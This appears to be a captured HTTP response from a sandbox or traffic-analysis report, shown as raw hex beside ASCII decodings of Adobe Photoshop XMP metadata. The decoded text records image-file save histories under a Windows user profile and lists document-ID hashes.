Data Ascii: dows10\Microsoft\MakeWhatsNext\CHOSEN\MS-MakeWhatsNext_GettyImages-478319856_1080x1920.jpg saved&#xA;2017-03-07T11:10:57-08:00&#x9;File C:\Users\v-lizagh\MS\Windows10\Microsoft\MakeWhatsNext\CHOSEN\MS-MakeWhatsNext_GettyImages-509731276_1080x1920.jpg save
2022-04-08 08:02:42 UTC659INData Raw: 33 37 32 36 33 37 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 34 2d 30 34 54 31 34 3a 31 34 3a 31 32 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 42 75 73 69 6e 65 73 73 2d 50 68 69 6c 61 6e 74 68 72 6f 70 69 65 73 5c 43 48 4f 53 45 4e 5c 50 68 69 6c 61 6e 74 68 72 6f 70 69 65 73 5f 73 68 75 74 74 65 72 73 74 6f 63 6b 5f 37 32 39 30 35 32 38 34 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 34 2d 30 34 54 31 34 3a 31 35 3a 34 30 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69
Data Ascii: 372637_1080x1920.jpg saved&#xA;2017-04-04T14:14:12-07:00&#x9;File C:\Users\v-lizagh\MS\Windows10\Business-Philanthropies\CHOSEN\Philanthropies_shutterstock_72905284_1080x1920.jpg saved&#xA;2017-04-04T14:15:40-07:00&#x9;File C:\Users\v-lizagh\AppData\Roami
2022-04-08 08:02:42 UTC715INData Raw: 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 57 69 6e 64 6f 77 73 5c 43 72 65 61 74 6f 72 73 55 70 64 61 74 65 5c 43 48 4f 53 45 4e 5c 57 69 6e 2d 43 72 65 61 74 6f 72 73 55 70 64 61 74 65 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 35 36 30 35 31 38 34 35 33 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 35 2d 31 31 54 31 30 3a 34 36 3a 31 31 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 57 69 6e 64 6f 77 73 5c 43 72 65 61 74 6f 72 73 55 70 64 61 74 65 5c 43 48 4f 53 45 4e 5c 57 69 6e 2d 43 72 65 61 74 6f 72 73 55 70 64 61 74 65 5f 47 65 74
Data Ascii: 0&#x9;File C:\Users\v-lizagh\MS\Windows10\Windows\CreatorsUpdate\CHOSEN\Win-CreatorsUpdate_GettyImages-560518453_1080x1920.jpg saved&#xA;2017-05-11T10:46:11-07:00&#x9;File C:\Users\v-lizagh\MS\Windows10\Windows\CreatorsUpdate\CHOSEN\Win-CreatorsUpdate_Get
2022-04-08 08:02:42 UTC754INData Raw: 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 37 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 57 69 6e 64 6f 77 73 49 6e 73 69 64 65 72 2d 52 53 33 2d 53 6c 6f 77 52 69 6e 67 5f 35 30 30 70 78 2d 31 30 32 36 31 37 30 37 5f 31 30 38 30 78 31 39 32 30 36 35 39 43 43 46 30 42 44 35 44 43 46 36 30 32 43 43 42 46 39 33 35 46 38 43 35 45 36 37 42 38 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 36 2d 30 37 54 31 30 3a 31 39 3a 35 36 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 57
Data Ascii: 00&#x9;File C:\Users\v-lizagh\AppData\Roaming\Adobe\Adobe Photoshop CC 2017\AutoRecover\_WindowsInsider-RS3-SlowRing_500px-10261707_1080x1920659CCF0BD5DCF602CCBF935F8C5E67B8.psb saved&#xA;2017-06-07T10:19:56-07:00&#x9;File C:\Users\v-lizagh\MS\Windows10\W
2022-04-08 08:02:42 UTC786INData Raw: 70 73 5c 4d 61 6b 69 6e 67 41 44 69 66 66 65 72 65 6e 63 65 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 35 30 32 36 31 33 36 33 31 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 37 2d 30 33 54 32 31 3a 34 35 3a 33 32 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 37 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 30 38 30 78 31 39 32 30 5f 50 6f 72 74 72 61 69 74 46 30 31 39 34 34 45 44 31 42 37 43 33 38 42 38 44 46 35 33 38 45 43 44 33 39 43 34 43 43 46 43 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b
Data Ascii: ps\MakingADifference_GettyImages-502613631_1080x1920.jpg saved&#xA;2017-07-03T21:45:32-07:00&#x9;File C:\Users\v-lizagh\AppData\Roaming\Adobe\Adobe Photoshop CC 2017\AutoRecover\_Lockscreen_1080x1920_PortraitF01944ED1B7C38B8DF538ECD39C4CCFC.psb saved&#xA;
2022-04-08 08:02:42 UTC878INData Raw: 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 57 69 6e 64 6f 77 73 5c 4d 4d 58 5c 5f 43 48 4f 53 45 4e 5c 43 72 6f 70 73 5c 57 69 6e 64 6f 77 73 4d 4d 58 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 36 33 36 30 32 31 39 33 34 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 37 2d 32 36 54 31 34 3a 31 35 3a 32 30 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 37 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 57 69 6e 64 6f 77 73 4d 4d 58 5f 47 65
Data Ascii: -07:00&#x9;File C:\Users\v-lizagh\MS\Windows10\Windows\MMX\_CHOSEN\Crops\WindowsMMX_GettyImages-636021934_1080x1920.jpg saved&#xA;2017-07-26T14:15:20-07:00&#x9;File C:\Users\v-lizagh\AppData\Roaming\Adobe\Adobe Photoshop CC 2017\AutoRecover\_WindowsMMX_Ge
2022-04-08 08:02:42 UTC894INData Raw: 61 72 64 73 5c 57 65 6c 63 6f 6d 65 5c 43 48 4f 53 45 4e 5c 43 72 6f 70 73 5c 4d 53 2d 57 65 6c 63 6f 6d 65 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 34 38 31 32 31 36 30 39 32 5f 31 30 38 30 78 31 39 32 30 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 39 2d 32 31 54 31 34 3a 35 34 3a 32 38 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 53 72 65 77 61 72 64 73 5c 57 65 6c 63 6f 6d 65 5c 43 48 4f 53 45 4e 5c 43 72 6f 70 73 5c 4d 53 2d 57 65 6c 63 6f 6d 65 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 34 38 31 32 31 36 30 39 32 5f 31 30 38 30 78 31 39 32 30 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 39 2d 32 31 54 31 34 3a 35 34 3a 33
Data Ascii: ards\Welcome\CHOSEN\Crops\MS-Welcome_GettyImages-481216092_1080x1920.psd saved&#xA;2017-09-21T14:54:28-07:00&#x9;File C:\Users\v-lizagh\MS\Windows10\MSrewards\Welcome\CHOSEN\Crops\MS-Welcome_GettyImages-481216092_1080x1920.psd saved&#xA;2017-09-21T14:54:3
2022-04-08 08:02:42 UTC997INData Raw: 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 37 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 4d 49 54 2d 53 6f 63 63 65 72 5f 41 6c 61 6d 79 2d 47 39 44 48 52 33 5f 31 30 38 30 78 31 39 32 30 35 39 38 31 39 30 46 33 43 43 46 32 36 37 43 34 30 38 45 38 31 31 30 36 46 33 43 41 45 38 35 37 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 31 30 2d 31 33 54 31 38 3a 31 34 3a 30 38 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 30 38 30 78 31 39 32 30 5f 50 6f 72 74 72 61 69 74 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 31 30 2d 31 37 54 31 30 3a 33 31 3a 34 36 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65
Data Ascii: Photoshop CC 2017\AutoRecover\_MIT-Soccer_Alamy-G9DHR3_1080x1920598190F3CCF267C408E81106F3CAE857.psb saved&#xA;2017-10-13T18:14:08-07:00&#x9;File C:\Users\v-lizagh\MS\Windows10\Lockscreen_1080x1920_Portrait.psd saved&#xA;2017-10-17T10:31:46-07:00&#x9;File
2022-04-08 08:02:42 UTC1077INData Raw: 30 39 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 30 38 30 78 31 39 32 30 5f 50 6f 72 74 72 61 69 74 2e 70 73 64 20 6f 70 65 6e 65 64 26 23 78 41 3b 32 30 31 37 2d 31 31 2d 32 30 54 31 37 3a 34 35 3a 33 38 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 53 72 65 77 61 72 64 73 5c 41 75 73 74 72 61 6c 69 61 5c 43 68 6f 73 65 6e 5c 31 31 30 39 31 37 5c 43 72 6f 70 73 5c 4d 53 2d 52 65 77 61 72 64 73 2d 41 55 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 38 33 36 36 34 32 39 38 36 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 31 31 2d 32 30 54 31 37 3a 35 31 3a 33 37 2d 30 38 3a 30 30 26
Data Ascii: 09-08:00&#x9;File Lockscreen_1080x1920_Portrait.psd opened&#xA;2017-11-20T17:45:38-08:00&#x9;File C:\Users\v-lizagh\MS\Windows10\MSrewards\Australia\Chosen\110917\Crops\MS-Rewards-AU_GettyImages-836642986_1080x1920.jpg saved&#xA;2017-11-20T17:51:37-08:00&
2022-04-08 08:02:42 UTC1124INData Raw: 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 69 63 72 6f 73 6f 66 74 5c 41 6e 64 72 6f 69 64 4c 61 75 6e 63 68 65 72 5c 43 48 4f 53 45 4e 5c 43 72 6f 70 73 5c 4d 53 2d 41 6e 64 72 6f 69 64 4c 61 75 6e 63 68 65 72 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 38 32 36 36 36 38 39 38 30 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 31 32 2d 31 34 54 31 36 3a 33 33 3a 35 38 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 69 63 72 6f 73 6f 66 74 5c 41 6e 64 72 6f 69 64 4c 61 75 6e 63 68 65 72 5c 43 48 4f 53 45 4e 5c 43 72 6f 70 73 5c 4d 53 2d 41 6e 64 72 6f
Data Ascii: 9;File C:\Users\v-lizagh\MS\Windows10\Microsoft\AndroidLauncher\CHOSEN\Crops\MS-AndroidLauncher_GettyImages-826668980_1080x1920.jpg saved&#xA;2017-12-14T16:33:58-08:00&#x9;File C:\Users\v-lizagh\MS\Windows10\Microsoft\AndroidLauncher\CHOSEN\Crops\MS-Andro
2022-04-08 08:02:42 UTC1180INData Raw: 49 54 2d 4e 42 41 2d 49 6e 74 6c 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 31 34 37 32 37 31 30 37 32 5f 31 30 38 30 78 31 39 32 30 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 38 2d 30 31 2d 30 39 54 30 38 3a 32 37 3a 30 37 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 49 54 2d 49 6e 74 65 72 6e 61 74 69 6f 6e 61 6c 5c 4e 42 41 5c 43 68 6f 73 65 6e 5c 43 72 6f 70 73 5c 4d 49 54 2d 4e 42 41 2d 49 6e 74 6c 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 31 34 37 32 37 31 30 37 32 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 38 2d 30 31 2d 30 39 54 30 38 3a 32 38 3a 34 34 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a
Data Ascii: IT-NBA-Intl_GettyImages-147271072_1080x1920.psd saved&#xA;2018-01-09T08:27:07-08:00&#x9;File C:\Users\v-lizagh\MS\Windows10\MIT-International\NBA\Chosen\Crops\MIT-NBA-Intl_GettyImages-147271072_1080x1920.jpg saved&#xA;2018-01-09T08:28:44-08:00&#x9;File C:
2022-04-08 08:02:42 UTC1235INData Raw: 31 39 32 30 5f 50 6f 72 74 72 61 69 74 2e 70 73 64 20 6f 70 65 6e 65 64 26 23 78 41 3b 32 30 31 38 2d 30 31 2d 32 35 54 31 32 3a 33 37 3a 30 32 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 49 54 2d 49 6e 74 65 72 6e 61 74 69 6f 6e 61 6c 5c 41 55 2d 54 72 61 76 65 6c 5c 43 48 4f 53 45 4e 5c 43 72 6f 70 73 5c 4d 49 54 2d 41 55 2d 54 72 61 76 65 6c 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 31 38 35 34 32 30 39 30 32 5f 31 30 38 30 78 31 39 32 30 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 38 2d 30 31 2d 32 35 54 31 32 3a 33 37 3a 33 31 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e
Data Ascii: 1920_Portrait.psd opened&#xA;2018-01-25T12:37:02-08:00&#x9;File C:\Users\v-lizagh\MS\Windows10\MIT-International\AU-Travel\CHOSEN\Crops\MIT-AU-Travel_GettyImages-185420902_1080x1920.psd saved&#xA;2018-01-25T12:37:31-08:00&#x9;File C:\Users\v-lizagh\MS\Win
2022-04-08 08:02:42 UTC1267INData Raw: 35 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 57 69 6e 64 6f 77 73 5c 4d 69 78 65 64 52 65 61 6c 69 74 79 5c 46 59 31 38 43 61 6d 70 61 69 67 6e 5c 43 48 4f 53 45 4e 5c 43 72 6f 70 73 5c 57 4d 52 2d 48 4d 44 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 35 39 31 37 38 32 31 33 33 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 38 2d 30 32 2d 32 38 54 31 30 3a 32 33 3a 35 30 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 37 5c 41 75 74 6f 52 65 63
Data Ascii: 5-08:00&#x9;File C:\Users\v-lizagh\MS\Windows10\Windows\MixedReality\FY18Campaign\CHOSEN\Crops\WMR-HMD_GettyImages-591782133_1080x1920.jpg saved&#xA;2018-02-28T10:23:50-08:00&#x9;File C:\Users\v-lizagh\AppData\Roaming\Adobe\Adobe Photoshop CC 2017\AutoRec
2022-04-08 08:02:42 UTC1331INData Raw: 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 37 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 30 38 30 78 31 39 32 30 5f 50 6f 72 74 72 61 69 74 45 43 39 39 33 34 30 42 35 30 46 37 44 35 37 32 30 43 39 36 39 44 34 32 34 33 31 34 39 36 36 37 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 38 2d 30 33 2d 32 36 54 31 35 3a 35 36 3a 31 38 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 30 38 30 78 31 39 32 30 5f 50 6f 72 74 72 61 69 74 2d 52 65 63 6f 76 65 72 65 64 2e 70 73 64 20 6f 70 65 6e 65 64 26 23 78 41 3b 32 30 31 38 2d 30 33 2d 32 36 54 31 37 3a 32 39 3a 32 32 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20
Data Ascii: ta\Roaming\Adobe\Adobe Photoshop CC 2017\AutoRecover\_Lockscreen_1080x1920_PortraitEC99340B50F7D5720C969D4243149667.psb saved&#xA;2018-03-26T15:56:18-07:00&#x9;File Lockscreen_1080x1920_Portrait-Recovered.psd opened&#xA;2018-03-26T17:29:22-07:00&#x9;File
2022-04-08 08:02:42 UTC1402INData Raw: 30 44 37 45 46 36 37 34 30 38 43 44 34 35 38 42 41 46 30 30 31 34 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 35 37 46 46 39 35 45 42 39 32 41 44 44 42 45 31 37 35 30 32 41 31 33 41 46 34 39 44 39 34 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 35 38 35 36 34 41 43 42 32 36 34 31 45 42 38 36 42 39 33 35 38 37 34 33 43 44 32 45 45 37 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 35 39 32 44 37 44 39 42 35 37 37 44 36 30 36 32 39 38 45 44 34 34 44 38 44 42 42 42 44 44 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 35 41 36 30 42 38 36 31 43 33 30 31 32 30 31 37 33 35 44 45 43 30 34 31 39 46 32 38 39 42 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 35 42 39 41 37 45 34 31 45 36 31 34 46
Data Ascii: 0D7EF67408CD458BAF00149</rdf:li> <rdf:li>057FF95EB92ADDBE17502A13AF49D944</rdf:li> <rdf:li>058564ACB2641EB86B9358743CD2EE7F</rdf:li> <rdf:li>0592D7D9B577D606298ED44D8DBBBDDF</rdf:li> <rdf:li>05A60B861C301201735DEC0419F289BC</rdf:li> <rdf:li>05B9A7E41E614F
2022-04-08 08:02:42 UTC1739INData Raw: 72 64 66 3a 6c 69 3e 31 32 39 34 33 32 37 41 45 37 36 32 45 38 32 46 46 41 38 43 38 38 35 30 36 45 44 46 34 32 31 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 32 42 43 39 31 39 42 43 46 46 34 31 30 39 38 34 34 45 31 36 38 33 32 38 30 45 42 34 44 43 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 32 42 45 41 39 35 45 41 46 45 31 31 46 41 36 33 43 44 45 34 31 42 33 45 41 43 32 35 31 36 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 32 43 35 39 32 37 41 30 44 35 45 46 34 33 37 45 42 44 43 32 46 39 39 30 30 42 34 37 39 46 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 32 44 30 39 30 42 39 44 45 38 45 42 33 31 38 37 35 39 41 44 41 36 42 45 43 39 44 37 41 35 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c
Data Ascii: rdf:li>1294327AE762E82FFA8C88506EDF421B</rdf:li> <rdf:li>12BC919BCFF4109844E1683280EB4DC7</rdf:li> <rdf:li>12BEA95EAFE11FA63CDE41B3EAC2516F</rdf:li> <rdf:li>12C5927A0D5EF437EBDC2F9900B479F6</rdf:li> <rdf:li>12D090B9DE8EB318759ADA6BEC9D7A56</rdf:li> <rdf:l
2022-04-08 08:02:42 UTC1755INData Raw: 45 32 43 30 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 30 43 41 38 36 34 31 31 36 36 32 38 34 43 41 42 46 31 35 44 43 39 43 45 37 38 46 45 44 33 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 30 44 32 36 39 38 37 31 39 35 42 37 31 45 34 30 41 32 35 39 38 45 43 45 36 35 36 38 32 43 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 30 44 37 33 41 46 35 32 45 41 35 44 32 38 35 30 38 35 31 38 38 44 41 46 31 33 36 46 44 36 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 30 44 43 32 33 30 41 31 43 37 33 30 41 46 36 37 45 35 32 31 34 34 43 33 39 44 32 46 38 43 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 30 45 32 44 36 46 43 42 39 39 46 39 39 34 33 32 46 41 42 32 44 36 32 42 34 36 39 42 42 46 30
Data Ascii: E2C01</rdf:li> <rdf:li>20CA8641166284CABF15DC9CE78FED38</rdf:li> <rdf:li>20D26987195B71E40A2598ECE65682C4</rdf:li> <rdf:li>20D73AF52EA5D285085188DAF136FD6E</rdf:li> <rdf:li>20DC230A1C730AF67E52144C39D2F8CA</rdf:li> <rdf:li>20E2D6FCB99F99432FAB2D62B469BBF0
2022-04-08 08:02:42 UTC1762INData Raw: 32 31 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 37 31 31 34 41 34 32 32 32 41 31 37 32 34 37 32 34 33 46 31 38 31 35 46 38 42 31 44 33 35 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 37 31 36 32 45 33 46 34 36 36 46 32 37 30 36 37 31 34 45 44 37 45 38 37 44 44 46 38 35 44 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 37 31 42 46 36 31 39 46 33 45 36 38 45 37 38 30 39 46 35 34 35 42 38 46 45 34 41 44 42 46 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 37 32 43 41 31 34 39 41 33 32 31 36 42 43 42 33 38 39 39 31 41 42 37 42 34 34 35 35 42 33 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 37 35 44 37 44 45 45 38 31 42 42 35 30 34 31 35 34 46 30 38 44 36 30 31 34 35 46 42 36 35 43 3c 2f
Data Ascii: 211</rdf:li> <rdf:li>27114A4222A17247243F1815F8B1D351</rdf:li> <rdf:li>27162E3F466F2706714ED7E87DDF85D0</rdf:li> <rdf:li>271BF619F3E68E7809F545B8FE4ADBFC</rdf:li> <rdf:li>272CA149A3216BCB38991AB7B4455B39</rdf:li> <rdf:li>275D7DEE81BB504154F08D60145FB65C</
2022-04-08 08:02:42 UTC1778INData Raw: 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 33 32 42 45 46 33 38 32 33 45 45 31 32 35 36 31 43 31 39 42 44 35 42 35 38 33 32 35 33 31 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 33 32 43 44 46 45 32 37 38 38 30 42 35 45 34 31 31 37 37 45 36 31 35 32 45 44 39 31 39 45 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 33 32 44 32 42 30 30 43 36 37 33 45 33 42 42 35 45 30 32 44 43 44 30 37 33 41 31 33 34 35 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 33 33 36 38 46 32 42 42 44 34 35 36 38 36 38 43 33 37 36 32 36 35 39 38 46 37 38 30 39 43 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 33 33 45 43 31 45 38 44 42 39 30 45 46 42 42 36 37 38 33 36 36 41 32 44 32 35 33 36 42 41 41 3c 2f 72 64 66 3a 6c
Data Ascii: rdf:li> <rdf:li>332BEF3823EE12561C19BD5B58325314</rdf:li> <rdf:li>332CDFE27880B5E41177E6152ED919ED</rdf:li> <rdf:li>332D2B00C673E3BB5E02DCD073A13459</rdf:li> <rdf:li>33368F2BBD456868C37626598F7809C9</rdf:li> <rdf:li>333EC1E8DB90EFBB678366A2D2536BAA</rdf:l
2022-04-08 08:02:42 UTC1794INData Raw: 33 34 42 37 32 43 33 32 37 45 44 35 33 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 30 39 31 38 33 34 38 30 44 39 41 30 45 35 36 38 35 37 37 32 42 38 44 46 45 38 35 42 36 37 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 30 39 32 39 38 43 38 31 43 45 31 30 39 35 46 42 34 34 35 37 36 34 36 34 45 37 42 44 35 45 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 30 39 45 43 42 31 35 41 35 36 37 45 44 34 45 35 39 45 39 35 45 36 31 46 39 45 32 43 37 37 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 30 41 31 36 34 43 36 34 31 36 36 44 33 36 42 39 43 41 45 36 42 37 36 30 30 37 36 41 39 35 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 30 42 32 45 44 44 34 36 37 30 41 41 32 32 31 46 34 42 44 46 36 44
Data Ascii: 34B72C327ED53D</rdf:li> <rdf:li>409183480D9A0E5685772B8DFE85B67D</rdf:li> <rdf:li>409298C81CE1095FB44576464E7BD5EF</rdf:li> <rdf:li>409ECB15A567ED4E59E95E61F9E2C775</rdf:li> <rdf:li>40A164C64166D36B9CAE6B760076A959</rdf:li> <rdf:li>40B2EDD4670AA221F4BDF6D
